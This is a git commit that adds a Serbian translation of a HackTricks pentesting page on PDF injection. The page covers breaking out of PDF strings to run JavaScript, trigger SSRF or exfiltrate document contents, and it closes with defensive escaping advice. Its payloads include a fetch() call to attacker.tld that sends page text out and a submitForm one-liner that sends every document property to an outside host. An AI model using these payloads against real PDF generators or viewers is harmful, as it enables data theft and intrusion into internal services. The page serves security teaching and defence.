Translated ['src/pentesting-web/xss-cross-site-scripting/pdf-injection.m

This commit is contained in:
Translator 2025-08-04 18:13:43 +00:00
parent 2cd4a3eacf
commit 62239a55da

View File

@ -1,7 +1,56 @@
{{#include ../../banners/hacktricks-training.md}}
**Ako se vaš unos odražava unutar PDF datoteke, možete pokušati da injektujete PDF podatke kako biste izvršili JavaScript ili ukrali sadržaj PDF-a.**
Proverite post: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
# PDF Injection
{{#include ../../banners/hacktricks-training.md}}
**Ako se vaš unos odražava unutar PDF datoteke, možete pokušati da injektujete PDF podatke kako biste izvršili JavaScript, izvršili SSRF ili ukrali sadržaj PDF-a.**
PDF sintaksa je izuzetno permisivna ako možete da izađete iz stringa ili rečnika koji ugrađuje vaš unos, možete dodati potpuno nove objekte (ili nove ključeve u istom objektu) koje Acrobat/Chrome rado obrađuje.
Od 2024. godine, talas izveštaja o greškama je pokazao da *jedna neizbegnuta zagrada ili obrnutu kosu crtu je dovoljno* za potpuno izvršavanje skripte.
## TL;DR Moderni Tok Napada (2024)
1. Pronađite bilo koju vrednost koju kontroliše korisnik koja se završava unutar **(stringa sa zagradama)**, `/URI ( … )` ili `/JS ( … )` polja u generisanom PDF-u.
2. Injektujte `) ` (zatvarajući string) nakon čega sledi jedan od primitiva ispod i završite sa još jednom otvorenom zagradom kako biste zadržali sintaksu validnom.
3. Dostavite zlonamerni PDF žrtvi (ili backend servisu koji automatski prikazuje datoteku odlično za slepe greške).
4. Vaš payload se izvršava u PDF pregledniku:
* Chrome / Edge → PDFium Sandbox
* Firefox → PDF.js (vidi CVE-2024-4367)
* Acrobat → Potpuni JavaScript API (može eksfiltrirati proizvoljne sadržaje datoteka sa `this.getPageNthWord`)
Primer (otmica linka za anotaciju):
```pdf
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
```
*Prva `)` zatvara originalni URI string, zatim dodajemo novi **Action** rečnik koji Acrobat izvršava kada korisnik klikne na link.*
## Korisne injekcione primitive
| Cilj | Payload Snippet | Napomene |
|------|-----------------|-------|
| **JavaScript na otvaranju** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Izvršava se odmah kada se dokument otvori (radi u Acrobat-u, ne u Chrome-u). |
| **JavaScript na linku** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Radi u PDFium-u i Acrobat-u ako kontrolišete `/Link` anotaciju. |
| **Slepa ekfiltracija podataka** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Kombinujte sa `this.getPageNthWord` unutar JS da ukradete sadržaj. |
| **Server-Side SSRF** | Isto kao gore, ali ciljate internu URL adresu odlično kada PDF renderuje back-office usluge koje poštuju `/URI`. |
| **Prelom linije za nove objekte** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Ako biblioteka dozvoljava umetanje karaktera za novi red, možete kreirati potpuno nove objekte. |
## Trik sa slepom enumeracijom
Gareth Heyes (PortSwigger) je objavio jedan-liner koji enumeriše svaki objekat unutar nepoznatog dokumenta koristan kada ne možete videti generisani PDF:
```pdf
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
```
Kod prolazi kroz Acrobat DOM i pravi izlazne zahteve za svaku par svojstvo/vrednost, dajući vam *JSON-ish* ispis datoteke.
Pogledajte belešku “Portable Data **ex**Filtration” za punu tehniku.
## Real-World Bugs (2023-2025)
* **CVE-2024-4367** Arbitrarna JavaScript izvršenja u Firefox-ovom PDF.js pre 4.2.67 zaobišla je sandbox sa kreiranom `/JavaScript` akcijom.
* **Bug bounty 2024-05** Veliki fintech je dozvolio beleške o fakturama koje su dostavili kupci, a koje su završile u `/URI`; izveštaj je plaćen $10k nakon demonstracije SSRF na internom metapodatkovnom hostu koristeći `file:///` URI.
* **CVE-2023-26155** `node-qpdf` komanda-injekcija putem nefiltrirane PDF putanje pokazuje važnost eskapiranja obrnutih kosa crta i zagrada čak i *pre* PDF sloja.
## Defensive Cheatsheet
1. **Nikada ne spajajte sirovi korisnički unos** unutar `(``)` stringova ili imena. Eskapirajte `\`, `(`, `)` kako zahteva §7.3 PDF specifikacije ili koristite heksadecimalne stringove `<...>`.
2. Ako pravite linkove, preferirajte `/URI (https://…)` koje ste *potpuno* URL-enkodirali; blokirajte `javascript:` sheme u klijentskim preglednicima.
3. Uklonite ili validirajte `/OpenAction`, `/AA` (dodatne akcije), `/Launch`, `/SubmitForm` i `/ImportData` rečnike prilikom post-procesiranja PDF-ova.
4. Na serverskoj strani, renderujte nepouzdane PDF-ove sa *headless konvertorom* (npr. qpdf decrypt linearize) koji uklanja JavaScript i spoljne akcije.
5. Održavajte PDF preglednike ažuriranim; PDF.js < 4.2.67 i Acrobat Reader pre jula 2024. zakrpe omogućavaju trivijalno izvršavanje koda.
## References
* Gareth Heyes, “Portable Data exFiltration XSS for PDFs”, PortSwigger Research (ažurirano maj 2024). <https://portswigger.net/research/portable-data-exfiltration>
* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (apr 2024). <https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js>
{{#include ../../banners/hacktricks-training.md}}